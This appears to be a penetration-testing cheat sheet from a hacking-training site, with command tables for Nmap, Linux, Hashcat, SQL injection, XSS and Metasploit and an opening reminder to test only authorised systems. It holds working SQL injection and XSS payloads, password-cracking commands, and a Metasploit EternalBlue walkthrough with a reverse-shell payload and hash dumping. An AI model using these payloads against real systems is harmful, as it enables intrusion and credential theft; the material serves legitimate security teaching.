On this page: Nmap · Linux · Hashcat · SQL injection · XSS · Metasploit
One rule before you start: only run these commands against systems you own, or systems you have written permission to test. That is the whole difference between a pentester and a criminal.
Nmap — find hosts, ports and services
Nmap maps a network: which hosts are up, which ports are open, and what is running on them. Learn it once and you will use it in every engagement.
| Command | What it does |
|---|---|
nmap 192.168.1.1 | Scan a single host for open ports |
nmap 192.168.1.0/24 | Scan every host on a subnet |
nmap -sn 192.168.1.0/24 | Ping scan: find live hosts without scanning ports |
nmap -sS 192.168.1.1 | SYN scan: fast and quiet, needs root |
nmap -sT 192.168.1.1 | Full TCP connect scan, works without root |
nmap -sU 192.168.1.1 | UDP scan for DNS, SNMP and other UDP services |
nmap -p 80,443 192.168.1.1 | Scan only specific ports |
nmap -p- 192.168.1.1 | Scan all 65,535 ports |
nmap -sV 192.168.1.1 | Detect the service and version on each open port |
nmap -O 192.168.1.1 | Guess the operating system |
nmap -A 192.168.1.1 | Aggressive scan: OS, versions, scripts and traceroute |
nmap -oN scan.txt 192.168.1.1 | Save results to a text file |
nmap --script http-title 192.168.1.1 | Run an NSE script — this one grabs the page title |
nmap -T4 192.168.1.0/24 | Faster timing: T0 is slowest, T5 is most aggressive |
Linux terminal — the commands you type every day
Most targets run Linux, and most of your tools run in a terminal. These are the commands you will type every day.
| Command | What it does |
|---|---|
ls -la | List files, including hidden ones, with details |
pwd | Show the directory you are in |
cd /etc | Move to a directory |
cat file.txt | Print a file to the screen |
grep -r "password" /var/www | Search file contents for a word |
find / -name "*.conf" 2>/dev/null | Find files by name, hiding permission errors |
chmod 600 id_rsa | Lock a private key down so only you can read it |
ps aux | List running processes |
ss -tulpn | Show listening ports and the process behind each |
curl -I https://example.com | Fetch just the response headers |
wget https://example.com/file.zip | Download a file |
ssh [email protected] | Log in to a remote machine |
scp file.txt [email protected]:/tmp/ | Copy a file to a remote machine over SSH |
history | grep ssh | Search your past commands |
sudo !! | Re-run the last command with sudo |
Hashcat — turn hashes back into passwords
Hashcat turns a stolen password hash back into a password. -m picks the hash type, -a picks the attack mode. rockyou.txt is the classic wordlist — it ships with Kali.
| Command | What it does |
|---|---|
hashcat -m 0 -a 0 hash.txt rockyou.txt | MD5, dictionary attack |
hashcat -m 1000 -a 0 hash.txt rockyou.txt | NTLM (Windows), dictionary attack |
hashcat -m 3200 -a 0 hash.txt rockyou.txt | bcrypt, dictionary attack — slow by design |
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?d?d | Mask attack: 4 lowercase letters + 2 digits |
hashcat -m 0 -a 0 hash.txt rockyou.txt -r best64.rule | Dictionary plus 64 common mutations |
hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d?d?d | Dictionary words with 4 digits appended |
hashcat -m 0 hash.txt --show | Show the passwords already cracked |
hashcat --example-hashes | List every hash mode with a sample hash |
hashcat -b | Benchmark your hardware |
Common hash modes: 0 MD5 · 100 SHA1 · 1000 NTLM · 1400 SHA-256 · 1800 sha512crypt · 3200 bcrypt · 5500 NetNTLMv1 · 5600 NetNTLMv2 · 22000 WPA-PMKID. Attack modes: 0 straight · 1 combinator · 3 mask / brute-force · 6 dictionary + mask · 7 mask + dictionary.
SQL injection — find it, prove it, map the database
SQL injection happens when user input reaches a database query unescaped. These payloads find it, prove it, and map the database.
| Command | What it does |
|---|---|
' OR '1'='1 | Classic login bypass — an always-true condition |
admin'-- | Comment out the rest of the query, including the password check |
' ORDER BY 3-- | Find the column count — raise the number until it errors |
' UNION SELECT NULL,NULL-- | Confirm the column count matches |
' UNION SELECT @@version,NULL-- | Read the database version (MySQL) |
' UNION SELECT table_name,NULL FROM information_schema.tables-- | List the tables |
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- | List the columns of the users table |
' AND 1=1-- | Boolean blind test, part one: the page loads normally |
' AND 1=2-- | Boolean blind test, part two: if the page changes, it is injectable |
' AND SLEEP(5)-- | Time-based blind test: a 5-second delay means injectable |
sqlmap -u "https://example.com/page?id=1" --dbs | Let sqlmap list the databases |
sqlmap -u "https://example.com/page?id=1" -D shop --tables | List the tables in one database |
sqlmap -u "https://example.com/page?id=1" --batch --random-agent | Hands-off run with a random user-agent |
sqlmap is loud — every request is logged. Only point it at applications you own or have permission to test.
XSS — run JavaScript in someone else’s browser
Cross-site scripting runs your JavaScript in someone else’s browser. These payloads cover the contexts you will actually meet.
| Command | What it does |
|---|---|
<script>alert(1)</script> | Basic test, works where script tags are allowed |
<img src=x onerror=alert(1)> | Fires when script tags are blocked |
<svg onload=alert(1)> | Fires on page load, no click needed |
<body onload=alert(1)> | Another load-time handler |
<details open ontoggle=alert(1)> | Fires when the element opens |
"><script>alert(1)</script> | Break out of an HTML attribute first |
</script><script>alert(1)</script> | Break out of an existing script block |
'-alert(1)-' | Inside a JavaScript string: break out, run code, rejoin the string |
javascript:alert(1) | In links and other URL contexts |
document.cookie | What an attacker reads when the HttpOnly flag is missing |
The fix: encode all user input on output, set a Content-Security-Policy, and mark cookies HttpOnly and Secure.
Metasploit — from vulnerability to session
The framework that turns a vulnerability into a session. Learn the loop — search, use, set, exploit — and every module works the same way.
| Command | What it does |
|---|---|
msfconsole | Start the framework |
search eternalblue | Find modules by keyword |
use exploit/windows/smb/ms17_010_eternalblue | Load a module |
show options | See what the module needs |
set RHOSTS 192.168.1.10 | Set the target host |
set LHOST 192.168.1.5 | Set your own address for the reverse connection |
set PAYLOAD windows/x64/meterpreter/reverse_tcp | Choose what runs on the target |
exploit | Launch the exploit (run works too) |
sessions -l | List open sessions |
sessions -i 1 | Interact with session 1 |
background | Send a session to the background — it stays alive |
db_nmap -sV 192.168.1.0/24 | Scan and store the results in the database |
sysinfo | Inside Meterpreter: OS and computer details |
getuid | Inside Meterpreter: who you are running as |
hashdump | Inside Meterpreter: dump the password hashes |
Keep learning
Commands are the start, not the skill. Read the full guides, then practise them in the labs:
- Nmap Tutorial for Beginners — the full walkthrough behind the sheet above
- How Hackers Crack Passwords — the theory behind the Hashcat sheet
- Bug Bounty for Beginners — where these skills earn money
- Free Security Tools — NetCrash, Sherlock, CyberChef and more, on this site
- HTP Labs — practise hacking in your browser
